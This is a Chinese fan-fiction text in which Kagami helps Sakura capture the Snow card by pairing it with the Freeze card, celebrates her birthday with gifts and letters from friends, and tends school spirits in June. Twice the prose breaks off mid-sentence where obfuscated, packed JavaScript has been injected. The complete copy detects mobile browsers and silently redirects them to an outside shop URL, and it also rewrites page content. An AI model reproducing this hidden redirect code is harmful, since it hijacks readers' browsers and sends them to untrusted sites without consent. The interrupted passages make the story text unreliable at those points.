他把笔记本往前翻,第五页上最早的标签还在原来的位置:阻碍,还是助力。这两个词他已经很久没用了,但也没有划掉。他只是每次翻到这页都会多看一眼,然后继续往下写。关于大道寺镜,他已经很久没用这两个词来衡量和她的距离。关于木之本樱,他好像从一开始就没想过要用它们。他把这一页重新夹好,在扉页下方的空白处慢慢写了几行字。 他知道她不是阻碍,也不是助力。至于这个人在他心里确切的位置应该用哪一个词来定义,他在睡前合上笔记时仍然没有定论。窗外的银杏树在夜风里轻轻摇着叶子,他把明天要继续整理的那张风水阵叠加图铺在桌面晾干,关灯时顺手把笔记本往桌角多推了几分。明天是星期五,上午有国文课。 9. 雪牌 五月下旬,友枝町的气温忽然降了十度。 镜早上推开门时被冷风灌了一领子,温差把她整个人拍在原地站了整整三秒。院子里的杜鹃花昨天还开得好好的,花瓣边缘被冻出一圈半透明的冰边,用手一碰就簌簌往下掉冰碴。银杏树的叶子本来已经绿得发黑,现在叶脉上凝了一层薄霜,在晨光里泛着不正常的银白色。她把校服外套的拉链拉到最高,在玄关多套了件毛衣,又往书包里塞了两片暖宝宝才出门。 这不是普通的倒春寒。四月底到五月她陆续经历了雷击、暴雨和影噬,每一次库洛牌异动都会伴随气温微降,但从来没有降到这个程度。空气里弥漫着一层极薄的魔力残余,不是躁动的、攻击型的那种,是安静的、弥散式的,像某个被封印了很久的东西在反复徘徊,不知道往哪里去。 胧从门口探出头,胡须抖了抖,默默把前爪缩回门槛里。“我是夏天生的。”它说。镜没有勉强它。这只黑猫平时能在台风天里蹲在围墙上纹丝不动,但只要气温降到零下,它就会以最快速度撤回被炉里,连烤鱼都叫不动。 走在路上,所有植物都在结霜。路边几棵樟树的叶面结了一层薄冰,公共洗手台的水龙头在往下滴水,但水滴还没落到水槽里就变成了冰珠。呼出的每一口气都化成白雾,被风吹散的速度比正常天气慢得多,像是空气本身在变重。 这是库洛牌。她几乎可以肯定。但她灵视扫过去,附近的灵脉并没有被某股尖锐魔力撕裂的痕迹——只有一整片均匀而持续的低温柔光,像冬夜月光洒在无风的雪原上。这张牌没有主动攻击什么,它只是在飘,不知道自己该降落在哪里。 “雪牌。”桔梗的声音从魂缘之镜里传出来,比平时轻了几分,带着一种罕见的谨慎,“能制造暴风雪的古老卡牌。它不像风牌只吹气流,不像水牌只收水分,它会把整个地区的气候都变成冬天。这张牌本身没有恶意,但它的力量太强了——如果不加以引导,它会一直盘旋下去,直到有足够强的结界被它冻裂。你现在在校门口感到的寒冷,只是它的魔力外溢。它的本体还在更高的云层上方,还没有决定是否落地。一旦它决定降落,暴风雪的范围会扩大至少两倍。” 镜抬头看天。云层是灰白色的,压得很低,像一层没来得及抖开的旧棉絮,均匀地铺在整个友枝町上方。她的灵力感知在云层上空探到了一层极淡的魔力残留——不是恶意的,只是无方向地在飘洒,忽左忽右,像一个迷路的人在雪地里来回转圈。这张牌不认路,不认人,只是孤单地在冷空气里翻卷。 操场上已经积了一层薄雪。她走到银杏树下,把手贴在树干上——老奶奶缩在树干深处,用叶脉紧紧裹着自己的肩膀,整个魂体缩得比平时小了一圈。她看到镜的手贴在树干上,用一根叶脉轻轻点了点她的手背,表示自己还醒着,只是太冷了不想动。她的缘线还在稳定地发着微光,没有断裂的迹象,但线体比平时僵硬了一些,像是被低温冻住的细丝。 天台上的男孩今天没在看日出。太阳被云层遮得严严实实,他正蹲在楼梯口,把膝盖上那块已经褪色的创可贴边缘反复按了好几遍——创可贴的边缘已经被风吹得翘起来了,他每次按下去,风又把它吹起来。大概是天冷让那道旧伤又隐隐作痛了。镜蹲下来帮他把创可贴重新贴好,手指从他灵体的边缘穿过时带了一丝极细的灵力——不是修复,只是暂缓。男孩抬头看了她一眼,说谢谢。他的声音被风撕碎了大半,但她听到他说了。 音乐教室的钢琴少女今天没有弹琴。她把琴盖合得严严实实,坐在琴凳上对着自己呼出的白雾发呆。琴键上结了一层极薄的霜,她用手指按了按中央C,霜裂开一小片,露出底下微微发黄的象牙白。她把手收进袖子里,继续看窗外的雪。镜路过时敲了敲窗玻璃,少女转过头来,镜用口型说了句“今天不用弹”,少女点点头,把手指收进袖子里。 旧游泳池的水面已经结了薄冰。水獭把排水管入口用碎石子堵了一半,大概是想把冷风挡在外面,自己缩在管口最深处,只露出一小截鼻尖。它看到镜蹲下来,把鼻尖往管口探了探,左前爪按在管壁上轻轻挠了一下——那个位置是上次雷牌震裂后还没来得及修补完全的细小裂缝。它大概是想告诉镜:这里冷,你别蹲太久。镜帮它把石子重新排了一遍,在排水管外面补了一层防水结界,把暖宝宝贴在管壁外侧,水獭的胡须在管道里轻轻抖了抖。 小樱穿了三件衣服,最外面那件是知世借给她的毛衣,袖子长出一截,她时不时要往上拉一下。她今天戴着知世一起织的粉色手套,指尖有一小截露在外面——那是知世特意留的,说这样才不会影响她翻库洛牌。围巾是浅黄色的,针脚不如知世的手工那么细致但长度刚好够绕两圈,大概是过年时桃矢在超市给她买的福袋里拆出来的。她站在走廊上,把鸟头杖握在手里,手指已经冻得通红,指节微微发白。小可窝在她书包里只露出一对耳朵,说是封印兽不怕冷但薯片冻了不好吃所以不想出来。 “雪牌在外面飘了很久,每次我靠近它就飘走。它不主动攻击我,也不主动停下来。它在云层上面飘了整整一天,我每次举杖它就往更高的地方躲。我在这里试了好几次都打不开牌面。”小樱的声音闷在围巾后面,呼出的白雾一阵一阵地消散在走廊冷空气里。 镜听完小樱的话,没有立刻回答。她把手按在走廊柱子上,感觉到柱子深处那几只小地缚灵正挤在热水管道旁边互相依偎——它们没有受伤,只是被这场突如其来的暴风雪冻得瑟瑟发抖。走廊墙皮里的精灵把窝从通风口搬到了锅炉房排气口旁边,旧游泳课储物柜里的小妖正用旧海绵裹着自己取暖,每一只灵体都在用自己的方式对抗这场不属于这个季节的寒冷。 然后她听见了树精的声音。不是用耳朵听见的,是用灵力感知到的——树精正把须根从墙缝里探出来,用极细的根须轻轻敲着围墙根部的红砖,节拍很慢,像是被冻僵了,但每个音节都很清晰。它说雪是冷的,冻也是冷的——那个女孩手里的冻牌和外面的雪是同一类东西,它们本来就是一边的。不需要用风牌去推,不需要用火牌去烤,只需要让冷的认识冷的,让雪知道自己不是唯一一片在飘的雪花。这张牌不是在攻击任何人,它只是不知道自己应该往哪里落,应该落在谁的手心里。 “你用冻牌试一试。”镜在走廊上坐下来,把背包放在旁边。“不要用攻击牌。雪是冷的,冻也是冷的——同调的话不需要对抗。外面被你冻坏的树精刚才告诉我的。它说雪是冷的,你手里的冻牌也是冷的,它们其实是一边的人。这张牌没有攻击性,它只是太冷了,飞了很久找不到一个能信任的落脚点。你的冻牌是它唯一能认出来的同类,不需要硬碰硬——推一推就好。” 小樱眨掉睫毛上的水珠,弯腰试着从牌盒里拔出冻牌。那根鸟头杖在她手里抖了几下,总算捏稳,冻牌从牌面浮起来,发出极为微弱的光泽——那光芒不是攻击型的,不是封印型的,是冷的、安静的、和她呼出的白雾一样缓慢飘浮的淡蓝光晕。她把冻牌抵在掌心,小心地从走廊门口扬起杖尖,冻牌沿着走廊往操场方向漫去,不是攻击,不是封印,只是持续送出一层薄薄的冷气,把自己这片冷轻轻铺在走廊外侧的雪幕上。 雪幕没有抗拒。那张牌没有躲开。镜能感觉到云层上空的雪牌魔力本体在冻牌接触到雪幕边缘的瞬间停了一下——不是被攻击后的停顿,是一个终于等到同类触碰的精灵停下脚步。然后它开始缓缓下降,没有暴风圈,没有剧烈的魔力反噬,只是慢慢从云层里沉下来,像是终于找到了一个可以落下去的位置。 雪幕没有消散,但不再升级。大朵大朵的雪花慢下来,从狂乱的飞旋变成迟缓的飘落,一片一片像被一只看不见的手轻轻按回地面。空气里那股均匀而持续的低温柔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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放学后,雪已经停了,操场上积了一层没过鞋底的薄雪,银杏树的枝丫被雪压弯了几根。镜把走廊柱子上那几只地缚灵挨个检查了一遍——它们已经从管道夹缝里探出头来,开始主动活动触须和耳廓上的细毛,看来锅炉房恢复供暖之后它们恢复得比她预想的更快。老树精也从围墙缝里探出几根新须根,沾了些融雪水,正把雪水往墙根底下的土壤里引。她沿着结冰的跑道绕到旧游泳池,水獭已经把堵在排水管口的最后一块冰渣推到管道外,小爪子被冻得通红,正蹲在管壁上用自己的体温捂着那道还没完全补好的裂口。镜帮它把剩下的碎冰清理干净,重新加固了防水结界的最后几层符文,拍拍管壁表示完事,水獭把鼻尖缩回管道深处,轻轻从自己的喉底发出一声咕噜。 走出校门时她看见李小狼站在门口。他的书包单肩背着,罗盘收在侧袋里,呼出的白雾均匀而平稳,右肩的衣褶上积了一小片尚未融化的雪,显然已经等了有一阵了。小樱从教学楼里跑出来,围巾跑松了半截拖在肩膀上,在他面前停下来喘了口气,说雪牌收完了这次没有把操场炸坏是因为镜教她用冻牌同调的方法。李小狼没有接她关于操场的话题,只是抬起手把她头发上还没化完的几片雪轻轻拂掉——从左鬓到右肩,拂完头发上的雪后指背顺势掠过围巾边角,把刚沾上去的碎冰一并轻拍下来。动作很轻,和在旧游泳池铁丝网外帮她收拾起被风吹落的作业本时的力道一样,拂完之后手指在空气里顿了一下才收回去。 “下次你收牌之前先看天气预报。” “天气预报又不会写库洛牌几点出来!”小樱鼓着脸反驳他,但眼睛分明在偷看他被雪沾湿的袖口,嘴角那点弧度怎么压也压不下去。 镜站在银杏树下,用眼角余光扫了一眼他们的方向。那根红线在灰白色天光里清晰得不像话。影牌那天它还带着最后一层灰黑阴翳,现在那层灰已经褪到只剩薄如蝉翼的痕迹,线的质地本身却比任何魔力束都更坚韧。她把笔记本翻开,在今天的善后记录旁边补了一行——李小狼在校门口等了她。他又把雪片从她头发上拂下来,先看她的眼睛再移开。灰黑阴翳即将褪尽。然后她合上笔记本,从另一侧绕道回家。胧从围墙上踱过来蹲在她脚边,尾巴扫着她脚踝,说那个转学生今天又在操场边上拿着罗盘找什么,找到一半看到小樱跑过来就把罗盘收起来了。镜说那是因为他已经找到他要找的东西了。胧的耳朵转了转,没有接话,但尾巴弯了一下。 傍晚的夕阳从云层缝隙里漏出来,把银杏树上的积雪映成淡金色。镜踩着薄雪往回走,听见身后小樱在岔路口对着李小狼说了一句“明天见”。他的回答声音太小被风吹散了,但她看到他的围巾还在小樱脖子上没还回去。大概是刚才拂雪时顺势拢紧了些,整理完便没有收回来。明天会是晴天。她得早点起来看银杏树下的老奶奶是不是把叶脉上的霜都抖干净了,旧游泳池那只水獭昨晚的防水结界还有一层没加固完。不过那根红线不用她操心,它自己会长。 10. 六月一日 六月一日,星期五,镜的生日。 她不是那种会把生日挂在嘴边的人。往年这一天都是和平常一样上学放学,晚上环会多做一个菜,正和如果不出差会从名古屋赶回来一起吃晚饭,蛋糕是环从车站前那家洋果子店买的,草莓奶油味,上面插一根蜡烛。今年也没什么不同——至少早上出门时她是这么想的。环在玄关把便当盒塞进她书包,又在便当盒旁边多放了一盒草莓牛奶,说了句“今天早点回来”,语气和平时说“路上小心”差不多,但嘴角多了点弧度。镜说知道了,然后推开门。胧蹲在窗台上目送她走出院子,尾巴轻轻扫了一下窗玻璃,那只黑猫金色的瞳孔在晨光里眯成两条细缝,大概知道今天是什么日子,但没有开口——它从来不在早上说话。 友枝町六月的早晨已经有些热了。银杏树的叶子绿得发黑,树下的老奶奶正趁着凉快在树干里打盹,听到镜的脚步声,用叶脉朝她比了个“早”的手势。那道弧形的灵痕在晨光里微微发亮,是她四年级春天第一次帮老奶奶搭缘线时无意间留下的灵力缓冲层,现在已经成了老奶奶每天早上和她打招呼的地方。镜点了点头,继续往前走。校门口的值日生正在扫前院,看见她打了个招呼——是同班的千春。千春挥了挥扫帚,喊了一声“大道寺同学早上好”,镜回了个“早上好”,然后穿过走廊往教室走。一切都很正常。 她推开教室后门,灯忽然亮了。 不是那种日光灯管跳了几下才亮的老旧节奏,是啪的一声全部同时亮起来,像有人在电闸旁边蹲了很久就等这一刻。教室里已经布置过了,黑板上用彩色粉笔写着“镜生日快乐”,字迹是小樱的——圆滚滚的,横竖不太直,“乐”字最后一笔拖得太长,被知世用粉笔补了一朵五瓣花。讲台上放着一束淡蓝色的小雏菊,用浅紫色的丝带扎着,花瓣上还带着早晨喷上去的水珠。几个早到的同学围在镜的座位旁边,桌上堆着几份用包装纸包好的礼物,有的用碎花布裹着,有的扎着丝带,有的只是在练习本上撕下来的一页纸上写着“生日快乐”。 小樱从讲台后面蹦出来,手里举着一个纸袋,脸上带着那种比过自己生日还兴奋的笑容——眼睛亮晶晶的,双马尾因为刚才蹲得太久有一边歪了一点,但她完全没注意到。“镜——生日快乐!我早上六点就来了!知世帮我一起来的,我们还怕你比我们更早——你平时不是都很早来开窗的吗,今天怎么反而晚了——” “今天家里早饭晚了。”镜说。其实是环早上多煎了一份玉子烧,非要她吃完才能走。她看了看黑板上的字,又看了看讲台上那束雏菊,然后把视线落在小樱手里的纸袋上。“这是什么。” “礼物!我上周就准备好了,一直藏在书包里不敢拿出来,怕被你提前发现——你快拆!” 镜接过纸袋。里面是一双淡蓝色的手套,针织的,指尖那一截特意留了开口。针脚不太均匀,有几处收线收得太紧,手腕那圈松紧带缝歪了一次又拆了重来,但每一针都压得很实。小樱两只手交握在身前,手指互相绞着,声音比平时轻了几分,说这是她自己织的,因为看镜每次善后在操场上蹲久了手指就会冻得发红,冬天这样夏天在空调房里也会,织的时候跟知世学了好久——知世教她从起针开始,她学了两周才织出第一只能戴的,第一次织的时候把指套织反了又重新拆,拆到毛线都起了毛球,但最后还是织好了。她说指尖留开口是因为镜要翻笔记本、叠纸人、写善后记录,不能把手指全包住;选了淡蓝色是因为镜的灵力在输出时泛淡金色的光,和淡蓝色很配。 镜把手套从纸袋里拿出来,套在左手上试了试。指尖开口的位置刚好,手腕的松紧略微紧了一点,但不影响活动。她试了试握拳再张开的动作,又拆开右手那只戴上去,两根手指从预留的开口处探出来,能灵活地翻开笔记本。她把手套戴好,低头看了看自己两只手,又抬头看着小樱。针织手套的掌心那一面被细毛线密密覆盖着,贴着皮肤的地方很柔软,能感觉到毛线之间的空隙里还残留着小樱手指的温度——大概是她早上出门前往纸袋里塞之前又摸了一遍,确认指尖开口没有脱线。 “很合适。”她说,声音比平时轻了半拍。“比我买的成品手套还要好用。” 小樱的耳朵尖红了,结结巴巴地说没那么好只是刚好尺寸对了,说了半句就放弃了解释,干脆扑上来抱住镜的胳膊。她的手指还攥着镜的袖口,指节微微发白,整个人挂在镜身上晃了两下。镜没有推开她,只是用戴着手套的那只手轻轻拍了拍她的手背。那只手背上有上次收影牌时被花坛碎片划破结痂留下的细痕,现在已经淡得几乎看不出来了。 知世从教室后排走过来,手里拿着一个用淡蓝色碎花布包好的盒子。盒子上系着和校服裙摆同色系的丝带,边角裹得很平整,打开后里面是一条同色系的缎带发圈和一排手工压制的干花香皂。发圈的丝带内侧用银色的线绣着“Kagami”,每个字母都很工整,旁边还绣了一朵极小的五瓣花,和小樱画在黑板上的那朵一模一样。针脚细密,每一针都压得平整,字母的弧度和缎带的纹路完美平行,没有一丝歪斜。那排干花香皂是用薰衣草和玫瑰花瓣压制的,每一片都裁成同样大小的椭圆形,边缘用极细的砂纸打磨过,装在透明的小袋子里,袋口系着淡蓝色的丝线。 “生日快乐,镜。”她说,语气和平时一样温柔,但递出盒子时双手捧着,动作比平时多了几分郑重。“发圈上课可以戴,体育课跑步时也不会滑下来。皂片放衣柜里可以防潮,还能驱虫——夏天衣柜里容易有樟脑球味,这个比樟脑球好闻。” 镜接过那条发圈,翻到内侧看到自己名字的绣线在晨光里微微发亮。银线在淡蓝底色上并不显眼,但每个针脚都压得很实,绣出来的字母弧度柔和,和她校服裙摆上那道被知世补过的小口用的是同一种线。她把发圈套在手腕上,说谢谢。知世微微一笑,说“不用谢”,然后拿起摄像机对着黑板上的粉笔字拍了几秒,又悄悄把镜头转向镜戴着手套接过小樱礼物时的背影。她的手指在录制键上轻轻按了一下,把焦距调到最合适的位置,镜头里镜正低头看着自己掌心那双淡蓝色的手套,窗外六月的晨光落在她肩膀上。 李小狼的礼物是小樱代为转交的。她抱着一个用格子纸包好的小包裹放在镜面前,说是李小狼刚才塞给她让她帮忙转交的。镜拆开后,里面是一本巴掌大小的牛皮封套便签本,封面上压印着淡金色的星图——和李小狼罗盘上的星图一模一样,每一颗星的方位都分毫不差。内页的纸张比普通便签本厚实,表面略带粗糙的纹理,适合用钢笔或符笔书写,墨迹不会洇开。纸页之间夹了一张极细的符纸压成的书签,签底用毛笔写了一个很小的“李”字,笔画端正,墨色均匀。封套背面用铅笔写着一行字,字迹很轻,像是写完之后又在犹豫要不要擦掉:生日快乐。灵力记录需要好纸。 他把“生日快乐”和“灵力记录需要好纸”放在同一行,中间没有换行,大概觉得这样就不算专门送的礼物。镜看着那行铅笔字,微微弯了一下嘴角。这个人连送生日礼物都要用工作需求当借口。 午休时小樱搬了椅子挤到她旁边,知世端着自己做的三明治坐在镜另一侧。小樱的筷子刚掰开就迫不及待地凑过来看镜拆其他同学的礼物——有一支自动铅笔,一本便签本,手工课上学做的书签。她挨个拿起来看,比拆自己的礼物还认真,每拆一个都要点评几句:“这个书签是小千春做的对不对,她手工课上的压花做得最好——”“这支铅笔的颜色好特别,在哪里买的我也想要——”知世在旁边把三明治递给镜,说今天没放糖。 下午放学后,镜绕去旧游泳池检查防水结界。水獭正趴在排水管里午睡,管壁上青苔又厚了一层。她加固完结界,把掉落的青苔用指尖推回管道外侧。然后绕去银杏树下——老奶奶用叶脉在她手背上轻轻蹭了一下,大概是在说生日快乐。镜没有回答,只是把手在树干上贴了一会儿,确认那道灵痕的灵力还在稳定运转,然后回家。 推开院门时,玄关的灯亮着。正和的鞋放在鞋柜前——深灰色皮鞋,鞋底磨得一边薄一边厚,是今天下午从名古屋赶回来的,比预计早到了一班。环从厨房探出头,手里还拿着切了一半的草莓,围裙上沾了一小团奶油渍,说蛋糕快做好了,让他先去拆信。茶几上放着三封信,环说是早上收到的。 镜在沙发上坐下来,挨个拆开。 第一封是夏目贵志写来的。 镜第一次见到贵志哥哥是在八原外婆神社的后山。那时候他正被几只中级妖怪追着跑,她站在山坡上念了净化咒,妖怪散了,他愣愣地看着她说“你……也看得见?”。他是镜在外婆神社附近认识的第一个能看见妖怪的人,比她大五岁,正在八原上高中。说话温和,做事细心,每次她回八原都会提前在大樟树下等她,带着藤原阿姨做的点心。寒假镜教过他疏灵呼吸,他一直记到现在,灵力控制比以前稳了不少。 信纸是浅米色的再生纸,边角画了一只极小的猫咪爪子,比上次在八原收到的信里印得更深——斑每次在信纸画押时都要换一支新墨,大概是猫爪沾了墨水在纸上按了好几次才找到合适的位置。夏目在信里说,八原最近刚入夏,后山的绣球花开了一大片,神社石阶两侧的紫阳花被雨打湿之后颜色比往年更深了一层。藤原阿姨上周做了枇杷罐头,给他装了一小罐,他很想寄给镜尝尝,但斑说罐头在路上去会碎,建议等镜暑假回八原再当面送。他还提到最近在神社后山散步时帮一只迷路的河童找回了掉在溪流里的念珠,那只河童的祖母是当年被玲子收过名字的妖怪之一,看到夏目手里的友人帐激动得差点哭出来,非要送他一整筐河鱼,他推了好久,最后只收了两条。 信的末尾是单独的一行字,笔迹比前面正文更轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536085|203812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,像是写完之后又停了一会儿才加上去的:“你是第一个能平等交谈的‘看见者’——不只是因为我不用解释那些东西真的存在,而是因为你让我知道,能看见这些东西并不总是沉甸甸的。”镜把这行字看了一遍,又看了一遍,然后把信折好放回信封里。 第二封是塔矢亮写来的。 亮是镜从小的青梅竹马。他父亲塔矢行洋和外公藤原守正是几十年的老棋友,两家的祖宅都在东京,只隔了几条巷子。镜小时候在东京住在外公家时,每天都能听到隔壁围棋会所传出来的落子声——那时候她刚学会握棋子,亮已经在棋盘上摆出像模像样的定式。每年暑假镜去东京外公家,他都会把棋盘摆好等她。就算后来镜搬到友枝町,他们也会互通棋谱,一盘换一盘——这是从幼年时期一直延续到现在的老规矩。有时候她在信里附一张自己最近下的棋谱,他会回一张批注版,顺便在边上画一个极小的圆圈,表示这步下得不错。 信封是白色的,拆开里面只有一张棋谱和一页便签。棋谱是他最近和院生对局时自己打的一盘,旁边用红笔标注了几处关键手,最后一手旁边画了个极小的圆圈——那是他认为“这步下得不错”时才会用的记号。中腹的攻防拉得很长,右下角的定式走了一种他以前不太常用的变式,大概是新近在和院生的对局中学到的。便签上的字迹一如既往地简练,他说最近在棋院集训,每天和院生对局,输赢参半,但每一盘都能学到新的东西。暑假如果镜来东京外公家,可以到棋院找他下指导棋,还是一盘换一盘。信的末尾是单独的一行字:“生日快乐。暑假来棋院下一盘。” 镜嘴角微微弯了一下,把棋谱折好放进抽屉里。 第三封是白马探从伦敦寄来的。 白马探是镜的远房表哥——镜的奶奶瑛莉和马探的奶奶是亲姐妹,两家逢年过节都会走动。他是个侦探,也是镜认识的人里唯一一个在知道她灵力身份后没有停下脚步继续走路的人。这个人会花好几周帮她在伦敦勘察地脉数据,在苏格兰场档案室翻旧案卷宗,把她随口提过的咒文符号和安倍家古札一一比对,然后写成邮件附件发过来。去年她在伦敦过暑假时他送了她一个名字。 信封很厚,拆开里面是一张明信片和一叠打印资料。明信片正面是大本钟的夜景,背面是他的字迹——英文,笔锋利落,每个字母都收得很干净。他说最近在苏格兰场的档案室查一桩旧案,偶然发现那面刻着拉丁文的墙去年改建时挖出了一枚青铜戒指,戒指内侧刻着和安倍家古札五芒星同源的符号。他顺便把这些相关资料整理好,不指望短期内破案,但觉得镜会继续关注。信的末尾,他的措辞忽然变了,不再是调查报告式的语气,而是用日语和英文混合的方式写了一句简短的话,字迹一如既往地利落,但收笔微微顿了一下,像是在犹豫要不要把这句加上。信上写的是:“生日おめでとう、Claire。也许将来你在帝光学会写正式的灵力鉴定报告时,苏格兰场会需要这类文件——在那之前,先继续你的笔记。” 镜低头看着这几行字,沉默了一会儿。他说“在那之前”——不是“如果”,是“在那之前”。这个人从来不在信里用假设句来掩饰真心,他只是在陈述一个他确信迟早会发生的事实。 她把明信片翻过来看了看大本钟的夜景,然后把它和之前迹部从伦敦寄来那张大本钟明信片并排放在书架上。两张明信片拍摄角度不一样,迹部那张是白天,白马探这张是夜景,但两张邮戳都是从伦敦肯辛顿区寄出的。她把信纸折好放回信封,然后站起来走到厨房门口。 环正在把草莓奶油蛋糕从转台上端下来。蛋糕有两层,中间夹了草莓切片,表面的奶油抹得不算特别平整——有几个地方能看出刮刀停顿的痕迹,应该是她抹到一半又去回消息了。正和拿着刮刀站在旁边,刀片上还沾着一小团没有抹平的奶油。环说别动我还没抹完,正和说我觉得已经很圆了,环说你觉得圆不算,得看上去看上去完美才行。镜靠在门框上,看着他们两个人在厨房里为蛋糕的边缘到底够不够圆争执不休。砧板上还放着切了一半的草莓,料理台边上搁着一盒没拆封的蜡烛,淡蓝色的,和她今天收到的手套同一个颜色。 胧从她脚边挤进来蹭了蹭她的脚踝,一抬头,尾巴扫过她的手腕。那只黑猫今天早上没有说生日快乐,但它用尾巴扫了她好几次——早上出门时扫了一次,放学回来时又扫了一次,现在又扫了一次。 她低下头看了看胧,然后抬起头,对着厨房说了一声:“蛋糕可以切了吗。”声音和平常一样淡,但嘴角的弧度压了两次才收住。环回过头,手里还拿着刮刀,正和趁机把蜡烛从盒子里抽出来插在蛋糕正中间。窗外六月的夕阳从银杏树叶间穿过来,把厨房的窗台染成淡金色。镜靠着门框,看着自己戴在手腕上的那条淡蓝色发圈在夕照里微微发亮。镜子今天也很安静,但它是温的。 11. 六月末 期末考试前最后一周,友枝小学四年级的教室换了座位。寺田老师拿着座位表在讲台上念名字,念到“大道寺镜”时,镜正在笔记本上画友枝町灵脉波动的折线图。她抬起头,听见自己被分到靠窗那一列倒数第二排——窗外就是银杏树的树冠,伸手就能够到最矮的那根枝丫。这个位置她从一年级起就想坐了,但每学期换座位都差一点。一年级时她被分到靠走廊那一侧,只能透过门缝看到银杏树的侧枝;二年级分到靠窗但最前排,离树太远;三年级分到倒数第一排,但窗户正对的是操场角落那棵被雷劈过的木桩。现在是四年级,她终于坐到了离银杏树最近的位置。 她伸手推开窗,指尖刚好碰到最矮的那根枝丫。银杏叶的边缘已经开始微微泛黄——还不是秋天的金黄,是那种在阳光底下才能看出来的极淡的浅金色,像是被反复洗过很多遍之后褪了一层颜色。老奶奶在树干深处翻了个身,用叶脉在她手背上轻轻点了一下。镜把手收回来,关上窗,把笔记本翻到新的一页。 老奶奶对此非常满意。午休时她趴在课桌上假寐,后脑勺对着窗外。银杏树的叶子被六月的热风吹得沙沙响,树影透过玻璃洒在她的课本上,晃成一片碎金。老奶奶用叶脉敲了两下窗玻璃——敲一下是“今天地脉平稳”,敲两下是“刚才有张库洛牌从操场上方飞过去了,往东边去了”。镜回敲一下表示收到,然后继续低头写笔记。寺田老师以为她在记板书,其实她依旧趴在桌上,把灵力感知沿着窗外的树干往下探,确认老奶奶的缘线还稳稳地锚在树根底部那道她去年春天加固过的缓冲结界上。 整个六月下旬只出现了两张牌,都是温和型,没有造成大范围的灵脉损伤。镜的善后记录从每周三四次降到了每周一次,偶尔两次——一次是常规结界维护,一次是帮树精修剪被风吹歪的须根。她在笔记本上算了一下,这个月的灵力消耗比五月少了将近一半。五月那几场大战几乎每周都有新牌要善后,雷牌把跑道劈出裂纹、影牌把老奶奶掀翻在地、雪牌冻得所有地缚灵都缩进了管道深处,那段时间她每天放学后都要在操场上蹲很久,把被魔力震歪的缘线一根根扶正。相比之下,六月简直像是在过暑假。 省下来的灵力被她用来加固旧游泳池排水管的防水结界。那只水獭每年入夏都有个固定习惯:把管壁上的青苔重新铺一遍。它从排水管口附近把旧青苔一片一片揭下来,整整齐齐码在排水口外侧,鳞次栉比,每片青苔的朝向都严丝合缝地指向排水口。然后去溪边衔来新的青苔铺上去,整个过程大概需要三到五天。镜帮它在管壁内侧多加了一层防水膜,这样新青苔不容易被雨水冲掉。水獭对此的回应是把一颗打磨得特别圆的小石子推到她手边——比上次那颗更小,但花纹更好看,细腻的青灰色岩层纹面,对着光能看到极细的云母反光。镜把这颗和上次收到的石子一起放在书桌抽屉里,并排摆好,回来之后又帮它把排水管内侧的防水膜补了一层。水獭从管口探出鼻尖碰了碰她的手指,然后缩回去继续午睡。 操场角落那棵被雷劈过的木桩又抽了新枝。镜上次帮它把阴气导走之后,它每年春天都抽新芽,但今年抽得特别多——从树桩侧面同时冒出五六根嫩绿的枝条,最高的那根已经快够到围墙顶部,低处的几根也精神地岔出好几个侧芽。老树精用须根在围墙上敲了一段节奏,大概是夸它长得好。银杏树下的老奶奶最近迷上了和树精下五子棋——不是围棋,是五子棋。老奶奶用叶脉在自己树干上画圈,树精用须根在围墙上画叉,每下一局都要花掉好几天。老奶奶的手不太够长,有些格子画得歪歪扭扭,树精那边还能空出一整排地方画叉,她却要从树干斜斜地探出一大片叶子去够最左边那个网格。镜路过时看过一局残局:老奶奶的圈画到一半被树枝挡住,树精那边还有两个连珠的空位,老奶奶犹豫了半天画了个叉把它的路堵上。树精的须根在围墙上抖了半天,大概是笑岔气了。战绩目前是三平两负,老奶奶认为自己输是因为树枝不够长,跟棋力没有任何关系。树精没有反驳。当天傍晚收棋盘的时候,镜看见它把其中一排叉悄悄往老奶奶那侧围墙的方向挪了几寸——树精下棋时本来画在围墙正中间,挪完之后刚好落在枝叶能遮到的位置。大概是让了一局,但没好意思说。 音乐教室的钢琴少女最近在学新曲子。她以前只弹巴赫,翻来覆去就是那几首前奏曲和赋格,镜听过无数遍。但上周三放学后镜路过音乐教室时,忽然听到一段非常陌生的旋律——听起来很慢很轻,完全不像巴赫《二部创意曲》那样精密而冷静,倒像是下雨天一个人趴在窗台上看檐水发呆的时候随意敲出来的音符。镜在门口站了片刻,等那阵琴音落定才推门问这是什么曲子。少女没有回答,只是把琴谱翻开——那是一本很旧的琴谱,封面印着《献给爱丽丝》的标题,但书脊已经散架了,用透明胶带粘过好几次。她说这是以前在图书馆旧书堆里翻到的,谱子不全,只到第二页就断了。断掉的那几页不是丢了,是被人撕掉了——撕口很整齐,一看就知道是之前某个学生不想练后面的部分,直接把谱页扯走了。钢琴少女没有抱怨,只是把剩下的两页反复弹了好几遍,每次弹到断掉的地方就自己加几个音接上去。接得不太完美,有些音和原曲的调性格格不入,但她似乎很享受这种自己补全一首曲子的过程。镜说如果她需要完整谱子可以帮她在图书馆找找。少女摇了摇头,说她补了好几个版本,第三个版本比第一个好听,要是拿到完整的谱子说不定反而不会自己编了。她说完又在琴键上试了一遍下午刚改过的版本,这次比昨天流畅了不少,右手那排跳进加得也更自然。镜靠在门框上听完,说这个版本比上周的好。少女把手指从琴键上移开,用铅笔在旧日历纸背面记了一个极小的对勾。 